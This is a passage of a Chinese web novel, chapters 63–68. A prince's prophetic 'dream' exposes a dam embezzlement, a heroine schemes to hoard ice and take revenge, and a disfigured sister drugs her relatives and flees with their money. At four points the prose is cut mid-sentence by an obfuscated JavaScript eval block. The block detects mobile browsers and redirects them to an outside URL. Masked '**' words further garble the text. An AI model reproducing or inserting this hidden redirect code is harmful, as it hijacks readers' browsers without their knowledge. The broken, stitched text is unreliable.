到底什么事,让七弟这么着急地送入宫,还让父皇露出这么凝重的表情。 “这群混账!”文昭帝看完后,将那一沓证据狠狠拍在桌上。 震得一旁伺候的太监宫婢们慌忙跪下,高呼:“皇上息怒。” “石头,到底发生什么事了?”谢元宸忍不住开口询问。 “照夜,你来说。”谢翊宁微微抬起下巴。 “是。”照夜应了一声,便将自己奉命去南阳调查的事情都说了出来。 南阳是太后的祖荫之地。 偏那知府仗着太后族亲的名头,把修堤的银子吃了三成空饷。糯米灰浆掺沙,青石料换土坯,堤坝看着威风,实则比女子用的香粉还虚。 他一脚踹在坝体上,就簌簌往下掉渣,裂缝里还爬出好几窝白蚁。 若是下了暴雨,冲垮堤坝,那整个南阳以及下边的州县,全都要完蛋。 听完他的话,太子谢元宸也变了脸色。 这可是关乎万千黎民性命的大事。 谢翊宁撩袍跪地,朗声道:“父皇,必须彻查这群蛀空堤坝的蠹虫,还要即刻征召八府河工重修南阳堤坝。若不及时重修,待到三月暴雨来袭,洪水滔天,那可就晚了。” 文昭帝点点头,而后一脸疑惑地看着他:“石头,你是怎么知道南阳有官员贪墨的?还有,你说的三月会有暴雨引发洪灾,又是怎么一回事?” 第63章 上战场真相 谢翊宁来之前就已经猜到了父皇肯定会问这个问题。 他扫视了周围一圈,文昭帝顿时会意。 “太子和永安王留下,其余人等全都退下。” 待到御书房只剩下他们父子三人,谢翊宁这才开口。 “父皇,太子哥哥,儿臣做了一个梦。” “梦?”文昭帝和太子同时一懵。 一个梦就让他大张旗鼓地去调查这件事,听起来怎么那么不靠谱呀。 “石头,你可不许糊弄父皇,不然父皇可是要让你禁足的。”文昭帝伸手轻轻戳了戳他的眉心。 “儿臣才没有糊弄您呢。”谢翊宁一脸认真。 “那日,我做了一个梦……” 他把上辈子的经历说成了做梦。 上辈子,国师断言他活不过二十岁。 于是在距离他二十岁生辰还有两个月时,他收拾行囊离开京城去了边关。 那会儿北境刚被霍家军打残了主力,但朝堂上主和派却称这场仗打了太久劳民伤财,逼父皇签两国五年互市条约。 他算准蛮族是外强中干,他们的王帐存粮压根撑不过今冬,全靠和谈骗大虞开边市救命。 若他死于北境蛮族之手,主和派当场就得闭嘴,再也不能逼迫父皇签订那个破条约。 霍家军就能名正言顺推平蛮族最后的粮仓。 而且他也不想死在父皇母后的面前。 横竖都是个死,他这副身子骨总要值回票价。 等北境蛮子的弯刀捅穿他的心脏,大虞的铁骑就有了名正言顺撕毁和谈的由头。 用他这条该绝的命,换边境三十年太平。 实在是再划算不过了。 “那支箭穿心之时,你一定很疼吧?”谢元宸听完喉间有些哽咽。 这是他一母同胞弟弟,从小就跟在他后边一口一个哥哥的叫着。 打小有什么好吃的旁人他都不给,就给他。 所有的好东西都让他先挑。 得知七弟活不过二十岁,他不止一次跪在国师面前,求国师想法子,让弟弟多活几年,他愿意与七弟平分寿命。 但国师自始至终都是同一句话。 “生死簿上朱笔已落,殿下莫再强求。” 后来,国师干脆闭关不见任何人。 “太子哥哥,都说了只是一场梦而已。怎么会疼呢。”谢翊宁眼尾倏然挑起三分笑意。 若不细看,看不到他眼底藏着的泪。 “你不疼,你皇兄心疼,朕这个当父皇的听了也心疼。”文昭帝瞪了他一眼。 谢翊宁嘿嘿一笑后拱手行礼:“这个梦太过真实,再加上父皇给令仪取的名字也和梦中一样,儿臣便派人去查了梦里的事情。发现南阳知府竟然真的贪墨枉法,堤坝也没有好好修建,因此儿臣斗胆猜测那场暴雨和后边的干旱都是真的。” “还请父皇信儿臣一回,早做决断。” 文昭帝沉默着没说话,像是在思索着这事到底有几分可信。 谢元宸垂眸沉吟半晌,缓缓开口:“父皇,国师曾断言七弟活不过弱冠之年,莫非正因七弟身负窥探天机之能,方致阳寿折损?儿臣认为,七弟说的预知梦很可能是真的。事关万千黎民百姓的性命,还是宁可信其有不可信其无啊。” 太子这番话让谢翊宁松了一口气。 他们能自己给他找理由就最好不过了。 他还怕他们不信呢。 若他们不相信他说的话,他就要撒泼打滚逼着父皇下旨了。 反正父皇母后兄长都最疼他,他闹上一闹,他们肯定就妥协了。 文昭帝严肃着开口:“此事事关重大,除了咱们仨和你们的母后,不许对其他人透露石头有预知能力一事。” 谢元宸和谢翊宁同时点头。 此事若传出去,定然会引来有心人的试探,到时候麻烦可就大了。 “父皇,那修建堤坝,开凿水渠,预防旱灾一事,您考虑得如何了?”谢翊宁忍不住询问。 “放心吧,此事父皇会找到一个合理的借口,不会让人怀疑到你头上的。”文昭帝慈爱地看着小儿子。 于是几日后,皇陵传来了异响。 满朝文武百官们都疑惑为何皇陵会有动静。 文昭帝在朝堂上大发雷霆,将谢翊宁给的南阳知府贪墨枉法的证据砸到了他们面前。 “一群混账。若不是先帝震怒,托梦告知朕南阳堤坝偷工减料一事,你们还想瞒着朕多久?!” 百官当即下跪求皇上息怒。 文昭帝趁机把四月暴雨和六月大旱的事情,借着先帝托梦的名义说了出来。 他当即下令命工部户部速筹石料、工匠,从江南各地转运物资去南阳储备。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594230|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要过年了,冬日严寒,不适合开工。 于是便安排人等到二月初开春后,祭了河神再开工,沿河五县的壮丁都要参与修堤。 这事传得沸沸扬扬,晏逐星也知道了这个消息。 她也想起了那一年南阳暴雨,许州大旱的事情。 她越发确定谢翊宁也重生了的事实。 她决定日后行动一定要小心谨慎,省得谢翊宁知道她也重生了,怕她泄密对她痛下**。 晏逐星仔细回想明年还会发生什么事情。 那年六月许州大旱,京城也比往年更早迎来酷暑,五月末的日头就毒得反常,待到六月更是热得人发昏。 街巷石板蒸腾着热气,走到庭院不过半刻钟,汗水便顺着脊背往下淌,仿佛整个人都要被晒化在青砖路上,衣裳都是湿漉漉的。 回想起前世的定远侯府,窖藏的冰块全被温如霜母女独占,她连半块都分不到。 最热的那几日,她整夜躺在竹席上辗转难眠,接连中暑了好几次。 如今有幸重来,这回说什么也要提前备足冰块,绝不再受这蒸笼般的苦楚。 勋贵之家,家家户户都要存冰,她以定远侯的名义去存冰,应该不会被发现异样。 晏逐星命人拿了算盘来,噼里啪啦拨起算珠。 如今雇人开凿冰块的市价是二十文一方,侯府冰窖约莫能塞进两千方。 待到盛夏六月,估计还能存下千余方。 横竖那时定远侯府上下也死得七七八八了,这些冰足够她摇着团扇吃冰镇杨梅。 若是再盘下城西那处空宅当储冰所,屯上五千方冰。 等到六月再转手将冰卖给京里那些金尊玉贵的世家,平日二两银子一方的冰,就算翻倍卖到四两银子,也有人抢着要。 刨去杂七杂八的开支,少说能净赚七千两白银。 这买卖可比侯府那些铺子来钱快多了。 要知道府里最红火的那个香粉铺子,一年下来,最好的时候也只挣了千两白银。 算完这一切,晏逐星心动了。 这门生意,她觉得可以赌一赌。 她手里只有皇后赏赐的一万两白银,她不能坐吃山空,得想想办法。 毕竟无论是复仇还是寻找家人,处处都要花银子。 只是她一时间有些犯难,这事该交给谁去办呢。 第64章 明月要疯了 她手底下得用的都是姑娘家,可要论跟码头脚夫砍价、同油滑商贩周旋,终究缺个牙尖嘴利的少年郎。 偏生倒卖冰块这事最怕走漏风声,必要找个嘴比铁锁还严实的。 思来想去,她决定去一趟烈国公府——借人。 “你想要一个能帮你跑腿办事的小厮?”烈国公夫人有些惊讶。 “是。”晏逐星点头后,垂眸看向手里的热茶。 “干娘您是知道的,我并非侯府亲生子,待来日出阁怕是连妆奁都要被克扣。如今找您借人,是想学着攒些体己钱。来日挣了银子,也好孝敬干爹干娘和哥哥。” 烈国公夫人听到这话,心疼不已。 “放心吧,有我和你干爹在,我们定会让你风风光光出嫁。” “我知道你们对我好。”晏逐星忙抬头解释,“但我总不能什么都靠你们,那样也太不要脸了。干娘,您就借个可靠的人给我就好。” “好。干娘保准给你找个靠谱的人。”烈国公夫人拍了拍她的手背,思索片刻后,扭头看向了身后的嬷嬷。 “张嬷嬷,我记得你那小孙子,今年也有十七了吧。” “是。那孩子往日里帮管家跑腿呢。”张嬷嬷忙点头。 “那我让他去替星儿办事,你可愿意?”烈国公夫人又问。 “能给小姐办事,是他的福气。”张嬷嬷笑着应下。 不一会儿,烈国公夫人就把张小乙叫了过来。 “从今往后,你便给小姐办事,小姐让你做什么你就做什么,不得违背,你可记住了?” “小的记住了。”张小乙没有任何不满。 他心里门清。 世子爷是个傻的,小姐是个得宠的,日后呀,这国公府保不准是这位国公夫人的义女做主。 跟着她走,只会有大造化。 烈国公夫人将张小乙的身契交给了晏逐星,晏逐星郑重收下。 随后陪着尉迟敦凿冰捞鱼,玩了一下午后,方才离开。 临走前,她和烈国公夫人提了多囤点冰的事情。 烈国公夫妇上了年纪,热不得,尉迟敦瞧那体格也是怕热的,若是明年冰少了,肯定难捱。 “放心吧,每年咱们这时候都会存冰的。”烈国公夫人笑呵呵地应下。 “这不是皇上说了么,六月许州会大旱。我怕到时候京城也热起来,冰不够用。您呀,若是能多囤些,就多囤些吧。”晏逐星再次提醒。 这下烈国公夫人听进去了。 “你说得有道理,干娘会让人去办的。” 送走晏逐星后,她找来夫君商议多囤点冰的事情。 烈国公想了想,开口道:“往年都囤三千的冰,今年再加点,囤到五千吧。” “我看行。”烈国公夫人赞同地点了点头。 他们也不差银子,多囤点就多囤点吧。 回到了侯府,晏逐星先让张小乙去办了几件小事。 见他办得不错,口齿伶俐,是个机灵又忠心的下属,这才让他去置办带着冰窖的院子,然后请人凿冰。 自打阮寄薇被接入侯府后,温如霜已经许久没有来找她的麻烦了。 晏逐星过上了难得的闲散日子。 每逢双日她便往烈国公府去,陪尉迟敦玩各种游戏吃饭,余下时辰全泡在玉澜院里。 左腿还使不上劲,她就拄着木拐杖练定身射。 院子里的箭靶子都快被她扎成刺猬了,准头一日比一日更好,晏逐星对此十分满意。 她的小日子过得美妙,但晏明月却要疯了。 这一日,她是被脸上的灼烧感给疼醒的。 她伸手摸了摸脸,指尖刚触到结痂处便僵住了。 本该平滑的肌肤底下,此刻竟蠕动着蜈蚣般凸起的瘢痕。 “把铜镜拿来!”她踹开锦被睡在地上的丫鬟莲儿大吼。 莲儿慌慌张张去翻妆奁,转身时却像被雷劈中似的踉跄后退好几步:“小、小姐……” “作死的东西!”晏明月扯过纱帐起身,就瞧见莲儿用袖口死死捂着嘴。 她一把抢过莲儿手里的铜镜,铜镜里映出的画面让她瞳孔骤缩。 她的脸上满是暗红色的扭曲疤痕,像被人用烧红的铁丝烫过,她的脸变得比那日刚划破时还要恐怖。 “不,不可能。”她将手中的铜镜狠狠砸到了地上,妆奁里的胭脂水粉也尽数被她掀翻。 “怎么了,明月,可是出什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601677|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么事了?”晏明远听见动静,从客栈另一间屋子里走了出来。 还有两日,他们就要抵达青州了,这个时候,妹妹可不能再出岔子。 听到他的声音,晏明月踉跄着扑向雕花门,后背死死抵住门板:“不许进来!” 她如今这副模样,谁看了都会作呕的。 不,她不能让任何人瞧见她如今的模样。 她宁可**,也不要这样出现在别人面前。 “究竟出什么事了?”她情绪越激动,晏明远越是担忧。 他忍不住推了一把大门。 不曾想,没推动。 晏明月将身子贴门贴得更紧了,她厉声道:“你要是敢闯进来,我就撞死在梁柱上!” 听到这话,晏明远往后退了一步,赶忙道:“大哥不进去,你告诉大哥,出什么事了?” “那玉肌膏有问题,肯定是晏逐星要害我!!!”她激动大叫。 晏明远听到这话,皱起了眉头:“玉肌膏乃是皇后娘娘钦赐,你之前不是用这药膏养好了七八分,如今怎么又怪到星儿头上了。” “就是她,除了她不会有人害我。”晏明月根本听不进任何的话。 她只知道,完了,一切全完了。 这些日子,她伏低做小,好不容易将表哥的心笼络了过来。 而今她变成这个模样,若是被他看到,他一定会毫不犹豫地将她抛弃。 两人的动静把姜清屏母子也引来了。 “大清早的,又在闹什么?”姜清屏面露不悦。 “明月只是有些想家了,还请舅母不要计较。”晏明远赶忙替妹妹辩解。 听到姜清屏的声音,晏明月深吸一口气,强迫自己冷静下来。 “舅母,我没事,你们先去用早膳吧。我有事,想和大哥单独说会话。” “行吧。”姜清屏也懒得掺和他们的事情,领着儿子下楼用早膳。 待会他们还得继续赶路呢。 晏明月冷冷地看向莲儿:“你到角落去,没有我的吩咐,一句话也不许说。” 莲儿慌忙点头,退至角落。 晏明月紧紧咬着嘴唇,直到嘴里传来了血腥味,她终于下定决心,打开了门。 第65章 远走高飞了 门打开的那瞬间,晏明远顿时变了脸色,脱口而出:“明月,你的脸……” 晏明月一把将他拽到屋子里,关上门,破罐子破摔。 “看清楚了吧,我的脸全毁了,都是晏逐星害的。” 晏明远本想反驳,但是晏明月的脸已经变成这样,他又说不出口了。 这种时候说这些话,无异于在明月的伤口上撒盐。 他只得安抚她:“别怕,大哥这就去给你请大夫。” 晏明月拽住想要离开的他,声嘶力竭地大吼:“这穷乡僻壤能找到什么好大夫,京城里的太医都未必能治得好。” 晏明远哑口无言。 晏明月捂着脸痛哭了起来。 她一边哭一边道:“如今我的脸全毁了,便是做妾,表哥也不会要我了。呜呜呜呜呜。” 这事情发生得太突然,打了他一个措手不及。晏明远站在一旁干着急,不知道该怎么办。 “不会的,抛去给他当妾,你也是还是侯府嫡女,他们不敢苛待你的。”他干巴巴地安慰着哭得涕泪横流的妹妹。 晏明月哭了好一会儿,方才止住眼泪。 她低着头小声道:“大哥,你能不能帮我说服舅母和表哥,我们再在昌乐县待上一日?我想出门去寻大夫瞧瞧脸。” “行。”晏明远毫不犹豫的答应了下来。 待到他离开,晏明月便领着莲儿出了一趟门。 直到夕阳西下时,她才回到客栈。 “你去哪了,怎么去了那么久,你知不知道你快把我们吓**。”见到她回来,晏明远松了一口气,对着她劈头盖脸就是一顿骂。 晏明月戴着帷帽,姜清屏母子看不清她的脸。 她柔柔地说了声:“我身子不适,去看了大夫,误了时辰,让舅母、表哥还有大哥担心了。” “已经听你大哥的,在这待了一整天了,明天必须回青州。”姜清屏冷冷开口。 “是,一切都听舅母安排。”她顺从地应下。 “今夜我亲自下厨,给诸位赔罪。” “那怎么使得,这样的粗活用不着你来做。”温韫上前一步,心疼地握住了她的手。 “怎么使不得了。这一路,舅母和表哥照顾我良久,我理该给你们做顿饭道谢的。”晏明月十分坚持。 “行了,她愿意做就让她做吧。”姜清屏没有继续阻拦。 晏明远在心底叹气。 他知道,妹妹是怕之后被温家人看到脸嫌弃,所以现在就开始讨好舅母他们了。 没过多久,晏明月就在莲儿的帮忙下做好了一顿饭。 很简单的鸡汤面条。 味道平平无奇,但每个人都给面子的吃完了。 唯有晏明月说自己胃口不好,没怎么动筷子。 用过晚膳后,晏明远原本还想跟妹妹在说说心里话,但却被她拒之门外了。 他只得无奈离开,打算明天在和妹妹好好聊聊。 晏明月回到屋子里,催促着莲儿赶快收拾行李,而后点燃了一炷香开始进行计时。 “小姐,咱们真的要走吗?”莲儿快哭出来了。 小姐今日带着她去县城里逛了一圈,还买了**,做饭时让她下到饭里,让舅夫人和两位少爷都吃了。 她当时腿都吓软了。 如今,小姐又让她收拾行李,说要远走高飞。 她更害怕了。 “随你,你要是不跟我走,明日他们醒了,你会是什么下场,不用我提醒你吧。”晏明月冷冷地看着她。 莲儿的脸瞬间变得煞白。 她不敢再发出质疑,噙着泪迅速收拾起行李。 直到香燃尽,晏明月果断起身,去找大哥。 “二小姐,大少爷已经歇下了。”小厮竹安拦住她,不让她进门。 晏明月却不管不顾地推开房门:“我有要紧的事要跟大哥说。你离远些,不许偷听。” 竹安想拦,但想到大少爷对二小姐的宠爱,他又收回了手,听话地走远了一些。 晏明月火速关上门,走到床边,轻轻推了晏明远一把。 “大哥?大哥?”她连着喊了两声,晏明远昏睡着毫无反应。 她又用力地推了他一下,见他还是闭着眼睛,顿时放下心来。 她抓紧时间把晏明远的包袱都翻了一遍,将里边的银票全都拿走了。 紧接着,用同一个理由如法炮制,把姜清屏和温韫带的银票还有之前的首饰都拿走了。 想着明日要做的事情,晏明月一夜未眠。 今日她出门,原本是为了打听附近有没有神医,却无意中听到了一个从南穹国回来的男人在吹嘘路上的见闻。 他说南穹国有一个很厉害的巫医,名叫巫颜子。 医术能够活**肉白骨,之前有一个奇丑无比的女子因为嫁不出去,去找巫颜子治病。 治好后成了绝世大美人,被好多人抢着娶回家。 晏明月一瞬间仿佛抓住了救命稻草。 她要去南穹国,找巫颜子给自己看脸。 不管花多少银子付出多少代价,只要能让她的容貌恢复如初,她都愿意。 但舅母和大哥他们肯定不会同意送她去南穹国的,她只能靠自己了。 晏明月紧紧抱着收拾好的包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15601678|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 袱,等着清晨的到来。 天空泛起鱼肚白,晏明月昨日请的镖局已经全副武装地出现在了客栈门口。 她看到人,赶紧叫上莲儿,拿着包袱小心翼翼的下楼。 好在这个时间还很早,其他人的丫鬟都没醒,舅母他们也因为吃了带有**的鸡汤面,至今还未清醒。 “小姐,咱们出发了吗?”镖局的刘老大冲她抱拳询问。 “嗯,出发吧。”晏明月怀里揣着**,点了点头。 马车摇摇晃晃地出发。 晏明月看着渐行渐远的客栈,见没有人追出来,悬着的心终于放下了。 一旁的莲儿也长长地舒了一口气。 但紧接着,眼泪就跟着落了下来。 从今往后,她恐怕再也见不到家中的亲人了。 * 待到日晒三竿时,晏明远终于醒了。 “大少爷,您可算醒了。二小姐和莲儿,不见了。”竹安一脸着急。 “不见了?什么意思?”刚刚清醒的晏明远头还有些痛,他有些反应不过来竹安说的这话是什么意思。 “一大早,小的想您起来用早膳,却怎么也叫不醒您。便想着请二小姐拿个主意,没曾想,他们的屋子里空无一人。”竹安急得快哭了。 “什么?可报官了?”晏明远急得掀开被子就起身。 但起身的瞬间头却发晕,让他晃了晃又跌坐回床上。 “当然得报官了!堂堂侯府嫡女,竟然做出那等偷鸡摸狗的事情。”姜清屏怒气冲冲地闯了进来。 她的话让本就迷糊的晏明远更加茫然了。 “舅母所言何意?”他不解地开口。 “昨夜那混账东西进了我的屋子,将我包袱里现银和值钱的东西都拿走了。”姜清屏气得快要吐血。 她活了几十年,还是头一回遇上**他人财物的官小姐。 “不可能。”晏明远脱口而出。 母亲给了明月许多陪嫁,她不缺银子,怎么会干出这样的事情呢。 “怎么就不可能了。不止我的,韫儿的那些现银也被她偷了。”姜清屏眼睛在他的房间里扫视了一圈,而后冷笑一声。 “听闻昨夜她也来了你的屋子里,你还是看看你的银票还在不在吧。” “明月不是那样的人。定然是有窃贼闯入了客栈,又掳走了明月主仆。”晏明远嘴上说着不相信,但身体很诚实地翻找了起来。 看着藏银子的地方空空如也,晏明远彻底傻眼了。 “这下你该信了吧。”姜清屏气笑了,当即吩咐丫鬟去报官,必须将晏明月给捉拿回来。 第66章 今夜宜** “不,舅母,不行,不要报官。”回过神来的晏明远赶忙阻拦。 “此事或许有什么误会呢。” 晏明远此刻还抱着一丝希望。 “没有误会。我已经打听过了,客栈小二瞧见她抱着包袱带着丫鬟上了马车,是她主动离开的。”姜清屏气得柳眉倒竖。 “再说了,她都不管我们的死活了,我还管她的名声?必须报官!” “不是她的名声,是侯府的名声。”晏明远快速解释了起来,生怕她一怒之下真的去报官。 “您若将此事宣扬出去,那定远侯府的脸可就丢大了,温家也会没面子。倒不如将此事抹了。” 面前的是侯府未来的继承人,姜清屏还是给了他一个面子,开口道:“怎么抹?” 晏明远从牙缝中挤出一句话:“就说她突发恶疾,没了。” “她要给表哥做妾一事,也当从没发生过。就说这一回是回外祖家探亲的。” 姜清屏略微思索了片刻,觉得这是一个好主意。 本来正妻没入门就不该纳妾,若不是晏明月和韫儿有了夫妻之实,又有侯府威压。 她才不愿意咽下这口气。 这一路她还发愁着该怎么跟林家解释先纳妾的事。 如今晏明月卷款潜逃也好,他们就当没发生过这个事,也算是皆大欢喜了。 晏明月一个小丫头,孤身带着一个丫鬟和巨款,迟早要死在外边。 这么一想,姜清屏心里舒坦多了。 她拍了拍晏明远的肩膀:“行吧,看在你母亲的份上,就按你说的办吧。” “多谢舅母谅解。”晏明远一张脸臊得通红。 昨日,他还想着如何帮妹妹和外祖一家解释,今日就被晏明月这个举动隔空狠狠扇了一耳光。 她把银钱都拿走,就没想过他该如何面对舅母他们吗。 “既然都走到这儿了,你就随我们一块去青州吧,你外祖父外祖母定然也很想你。”姜清屏放缓了语气。 好在她身上还藏了些银票,不然现在都没法回家了。 “好。”晏明远僵硬地点点头。 离开客栈前,他快速提笔写了一封信,命人快马加鞭将这事传回京城。 这事,必须得让父亲母亲知晓。 * 晏明月的“死讯”尚未传回京城,晏逐星等的机会就来了。 “小姐,二少爷又和谢世孙出门喝酒了。”双鲤收到消息,第一时间跑来告诉自家小姐。 晏逐星数了数,晏明修这个月已经第三次和谢锦程出门饮酒作乐了。 每一次喝完酒回府,都是醉醺醺的。 惹得定远侯十分不悦,认为他不务正业。 但晏明修自打上回因为她被罚跪祠堂后,整个人就变了,整日就跟定远侯作对。 温如霜瘫痪,晏明远不在,没人能管得了他。 晏逐星对此倒是乐见其成。 再这么玩下去,明年晏明修别想考上举人了。 “他们这一回去哪,打听到了吗?”晏逐星抬头看向双鲤。 双鲤利落点头:“打听到了。谢世孙包了醉花坊的船,他们今夜要去参与选花魁。” 选花魁啊。 或许是个不错的机会。 晏逐星拖着下巴思索了起来。 谢锦程乃是昭瑞亲王的嫡孙。 昭瑞亲王是先帝的兄长,也是当今皇上唯一在世的伯伯。因而他的地位十分尊贵。 他的孙儿谢锦程是一个不折不扣的纨绔子弟。 上辈子她就对这人有所耳闻。 此人好色,尤其好良 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谢锦程乃皇室宗亲,处置他必须得让皇上来裁决。 但昭瑞亲王坚决不同意,声称孩子还小,不懂事,且天潢贵胄不宜戮,以亲王的身份保住了谢锦程的命。 最终谢锦程只是被贬为了庶人,终身幽禁于王府当中,不得踏出半步。 晏逐星对这个判决很不满意。 既然律法不能让这样的**送命,不如她来替天行道,让他和晏明修一块下黄泉。 晏逐星思索片刻,做出了决定。 今天是个好日子,夜黑风高,很适合**。 该动手了。 第67章 求爷怜惜我 夜幕笼罩金水河,十二艘画舫亮起灯笼。 晏明修跟着谢锦程钻进挂着“锁春艇”木牌的画舫,扑面而来的炭火暖意驱散了冬日的寒气。 两个小丫鬟手脚麻利地帮他们脱去狐裘。 谢锦程大喇喇地躺在湘妃榻上,三个穿薄纱的侍女立刻围上去伺候。 一个跪着给他揉肩,一个跪着给他捶腿,还有一个捧着酒壶替他斟酒,捧着酒杯喂到他嘴边。 晏明修看直了眼。 “明修,你愣着做什么,躺下呀,让她们也伺候你。”谢锦程笑着揽过了喂酒的侍女,亲了一口。 晏明修依言躺在了另一边。 他接过侍女递的温酒,感慨道:“要不是锦程兄,这辈子我都见不着这样的盛景。” “这有什么,跟着小爷混,往后这种快活日子少不了。”谢锦程笑了起来。 当初他和晏明修不过是点头之交。 结果有一次他在书院闯了祸,晏明修二话不说替他扛了黑锅,打那之后他就真心把他当朋友了。 混熟了才发现,晏明修不仅吃喝玩乐样样在行,说话做事都很对他胃口。 因而今晚画舫只让带个伴,谢锦程头一个想到的就是他。 “那我日后可就仰仗锦程兄了。”晏明修哈哈一笑。 “好说好说。” 画舫雕窗外传来丝竹声,河面倒映着各色灯笼,像撒了把碎金子。 晏明修闭上眼享受了起来。 今夜醉花楼摆出十二艘画舫选花魁,每船要价百两纹银,这快赶上他一年的月银了。 要不是谢锦程阔绰,他可没这个福气上船。 登船者每人可得醉花楼给的三支珍珠玛瑙花簪。 今夜一共有十二个花娘来参选花魁,她们会轮流上船呆上一刻钟的功夫,使出浑身解数展露才艺,从船上恩客手中拿到簪子。 拿到簪子数量前三的花娘,即可入主船争夺最后花魁的名头。 主船那边早开了赌盘:押中前三甲赔双倍,押中魁首不但翻倍,还能优先竞价成为今夜花魁的入幕之宾。 这连环局引得京城中的风流人士争相撒钱。 今夜的醉花楼,可谓是全京城最热闹的地方了。 “铛铛铛” 伴随着三声铜锣响。 金水河漾开层层波澜,一艘画舫撞散夜色贴了过来。 两个船夫甩出缆绳,“咔嗒”一声将两船锁死。 醉花楼的第一个姑娘要登船了。 晏明修紧张得坐起了身子。 船帘被掀开,一个裹着银狐裘的姑娘抱着琵琶走了进来。 她一露面,先前伺候两人的侍女们齐刷刷地退到了屏风后。 这是醉花楼的规矩,姑娘献艺时不得有旁人扰了贵客的雅兴。 “奴家瑟瑟,给二位贵人献丑了。”她垂首拨了下琵琶弦,披在肩上的狐裘突然滑落,雪白肩头暴露在二人的视线中。 晏明修呼吸一滞,攥着酒杯的手指收紧,目光却黏在那片肌肤上撕不下来。 琵琶弦震出清泠泠的颤音,瑟瑟低头吟唱。 一曲毕,她眼波掠过案上的花簪,露出了一抹羞涩又勾人的笑。 “这簪子真好看。两位爷能赏给奴家么?” “赏。”晏明修拿起一支簪子就要塞到瑟瑟手里。 一旁的谢锦程却用扇子拦住了他。 “咱们拢共就三支花簪,给了她,后边还有十一个姑娘没看呢。” 瑟瑟咬住下唇,眼尾泛起水光。 “爷这是嫌我弹得不好?还是觉着我容貌入不得您的眼?” 她这委屈巴巴的模样,看得晏明修心都要化了。 “想要这簪子,你总得付出点诚意吧。”谢锦程嘴角浮起三分痞气。 瑟瑟识趣,主动倒了一杯酒,凑到了他跟前:“奴家敬您一杯酒,这簪子,您就赏了奴家吧。” 说罢,她仰头将酒喝下。 一缕酒从唇边溢出,顺着她纤细的脖颈滑落,消失在胸前。 晏明修喉结重重滑动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15604639|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,盯着那道蜿蜒的水痕咽了咽口水。 瑟瑟借着酒劲贴上谢锦程臂弯,冲他抛了个媚眼,软软道:“求爷怜惜奴家。” “罢了,你既是今夜头一个求爷的,那就给了你一个体面吧。”谢锦程将花簪扔到了她怀里。 瑟瑟露出了笑意,忙跪下行礼:“多谢两位爷赏。” 她握着花簪,笑意盈盈地离开了,跟着船夫去往下一艘船。 “明修,你何须着急,这样的女人待会你还得看十一个呢。”谢锦程哈哈一笑。 晏明修赶忙收回了追随瑟瑟的视线,讪讪地躺回了原位。 先前的几位侍女们轻步绕出屏风,执壶斟满酒杯,将桌上切好的梨片用银叉送到二人唇边。 不过片刻功夫,珠帘又被新到的姑娘给掀起。 她表演的也是弹曲儿,先前瑟瑟已经弹过了琵琶,她弹的虽然是古琴,但少了几分惊喜。 因而晏明修和谢锦程便没有继续给簪子。 任凭她使尽浑身解数,两人都没松口。 一刻钟到,这姑娘只得悻悻地离开了他们的船。 下一个姑娘接踵而至。 然而两人今夜看了不少美人,簪子给得是愈发谨慎了。 直到第十个姑娘,他们才给出了第二支花簪。 “难不成争花魁的姑娘就这些?”谢锦程有些失望了。 话音刚落,铛啷啷一串脆响,帘子猝然荡开,一双缠着金铃的雪白赤足便踏了进来。 两人抬眼望去,顿时眼前一亮。 这一回来的姑娘戴着面纱,眉眼似乎用胭脂描红,多了一股难掩的魅惑。 面纱随着呼吸起伏,晃得人喉头发紧。 烟红薄纱堪堪遮住腰肢,隐隐约约透出其中赛雪的肌肤。 她每走一步,缀在裙摆的金铃便和脚踝上的那串一块叮叮当当响了起来。 晏明修看得袖口泼了酒都未曾察觉。 谢锦程也难得征神了片刻,他忍不住问道:“你叫什么名字?” 第68章 一次杀两人 然而这姑娘却没有说话。 紧跟在她身后,进来了一个抱着鼓的小丫鬟。 小丫鬟也和她一样,戴着面纱,只不过穿得严实多了。 “为何不说话?”谢锦程又问。 回应他的是鼓声。 